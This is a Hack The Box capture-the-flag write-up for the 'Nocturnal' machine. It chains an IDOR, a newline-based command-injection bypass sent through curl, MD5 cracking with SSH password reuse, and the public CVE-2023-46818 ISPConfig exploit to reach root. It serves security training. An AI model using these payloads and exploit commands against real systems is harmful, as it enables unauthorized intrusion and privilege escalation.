HACK THE BOX · PENETRATION TEST REPORT



NOCTURNAL

IDOR to Root — A File Manager, a Blacklist and a Loopback CVE

★ ☆ ☆ ☆ EASY

8	1	ROOT
EXPLOIT STAGES	CVES CHAINED	FINAL ACCESS

Leandro Ancona

Offensive Security Practitioner | eJPT Certified
Massafra, Italy

SEL — SENTITI LIBERO

Contents

01 Executive Summary

02 Reconnaissance and Service Discovery

03 IDOR — Reading Other Users' Files

04 Admin Panel Command Injection

05 www-data to tobias

06 tobias to Root via ISPConfig (CVE-2023-46818)

07 Chain Summary and Conclusions

01

Executive Summary

Nocturnal is an Easy-rated Linux machine built around a PHP file-sharing application with weak per-user access control. A redirect-without-`exit()` plus an IDOR on the file viewer leaks other users' documents and enables username enumeration; one of those documents holds a password for the admin panel, whose backup form is vulnerable to command injection through a blacklist that forgets newline and tab. From `www-data`, an unsalted MD5 database cracks to a reused SSH password, and a loopback-bound ISPConfig 3.2 is exploited with CVE-2023-46818 for root.

Attack chain overview

1. Reconnaissance: a PHP file manager with self-registration.
2. Redirect-without-`exit()` + IDOR on `view.php?username=` → other users' files.
3. Username enumeration; `amanda`'s document leaks a password.
4. Admin-panel command injection (blacklist bypass with `\n` / `\t`) → `www-data`.
5. SQLite DB (unsalted MD5) → `tobias` SSH — user flag captured.
6. Loopback ISPConfig 3.2 → CVE-2023-46818 → root flag captured.

02

Reconnaissance and Service Discovery

```
sudo nmap -p- --min-rate 2000 -T4 -Pn -oN nocturnal.txt <TARGET_IP>
sudo nmap -sC -sV -p22,80 <TARGET_IP>
```

```
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
```

```
echo "<TARGET_IP> nocturnal.htb" | sudo tee -a /etc/hosts
curl -s -I http://nocturnal.htb/        # Set-Cookie: PHPSESSID -> PHP app with sessions
```

The home page is a file manager: `login.php`, `register.php`, "upload and share your files". Self-registration takes us from anonymous to authenticated in one step, and the share feature hints at weak per-user access control.

03

IDOR — Reading Other Users' Files

After registering and uploading a file, it is served through `view.php?username=<me>&file=<name>`. The `username` parameter is attacker-controlled and never checked against the session:

```
GET /view.php?username=admin&file=privacy.odt
```

> ⚠ **Vulnerability confirmed**
>
> Two bugs combine: a protected page returns a `302` but keeps rendering the body (no `exit()` after the redirect), and `view.php` trusts the `username` parameter — a classic **IDOR**. The error messages also enable **username enumeration** ("User not found" vs "File does not exist"): `admin`, `amanda`, `tobias`. `amanda`'s `privacy.odt` contains a temporary password.

04

Admin Panel Command Injection

`amanda`'s password opens `admin.php`, whose "Create Backup" form passes a password straight into a shell command. A blacklist filters `; & | $` space `\` { }` — but newline and tab survive:

```
curl -s -b amanda.txt -X POST http://nocturnal.htb/admin.php \
  --data-urlencode $'password=sel123\nid' -d 'backup=1' | sed -n '/Output:/,/<\/pre>/p'
```

```
<pre>id: extra operand '.'
Try 'id --help' for more information.</pre>
```

⚠ Vulnerability confirmed

The password is concatenated into a shell command; the blacklist forgets `\n` (command separator) and `\t` (argument separator). A newline runs a second command and tabs replace the blocked spaces — RCE as `www-data`. The `extra operand` error is `id` seeing the appended backup path, proof the real command ran.

05

www-data to tobias

Use the injection to read the application SQLite database (passwords stored as **unsalted MD5**) and crack:

```
tobias : <REDACTED>   (MD5 cracked)
```

The password works for SSH:

```
ssh tobias@<TARGET_IP>
cat user.txt
```

USER FLAG

<REDACTED>

06

tobias to Root via ISPConfig (CVE-2023-46818)

`tobias` has no sudo, but a local service is listening:

```
ss -tlnp | grep 127.0.0.1
# 127.0.0.1:8080  -> ISPConfig 3.2
ssh -L 8080:127.0.0.1:8080 tobias@<TARGET_IP>
```

⚠ CVE-2023-46818 (Critical)

ISPConfig 3.2 is vulnerable to a PHP code injection in `language_edit.php` via the `records[]` parameter (an array key of a literal backslash breaks the parser), reachable by an authenticated admin. ISPConfig runs as root, so the resulting webshell is a root shell. Log in as `admin` with tobias's reused password and run the public exploit (read before running):

```
git clone https://github.com/bipbopbup/CVE-2023-46818-python-exploit.git
python3 CVE-2023-46818-python-exploit/exploit.py http://127.0.0.1:8080/ admin <REDACTED>
# ispconfig-shell# id -> uid=0(root)
# ispconfig-shell# cat /root/root.txt
```

ROOT FLAG

<REDACTED>

07

Chain Summary and Conclusions

#	STAGE	TECHNIQUE	RESULT
1	Reconnaissance	Nmap + vhost	PHP file manager
2	Access control	Redirect-without-`exit()` + IDOR	Other users' files
3	Enumeration	Error-message username enum	`amanda` password
4	Application RCE	Command injection (`\n` / `\t` bypass)	Shell as `www-data`
5	User access	Unsalted MD5 crack + SSH reuse	User flag
6	Privilege escalation	CVE-2023-46818 (loopback ISPConfig)	Root flag

Closing thoughts

Nocturnal compounds small mistakes. A 302 is not a guard when the body still renders, and trusting a `username` parameter turns a file manager into everyone's file manager; the distinct error strings then hand over a user list. The finish is a reminder that a loopback-only service is still an attack surface — ISPConfig was invisible externally, and one SSH forward made CVE-2023-46818 reachable for root.

Key takeaways

- A 302 is not a guard — a missing `exit()` leaked the protected body.
- IDOR and enumeration compound — trusting `username` gave files, the errors gave a user list.
- A blacklist is only as good as its gaps — `\n` and `\t` were not blocked.
- Unsalted MD5 + password reuse is a straight line.
- A loopback service is still an attack surface — one SSH forward reaches it.

Writeup by Leandro Ancona — Offensive Security Practitioner, eJPT Certified.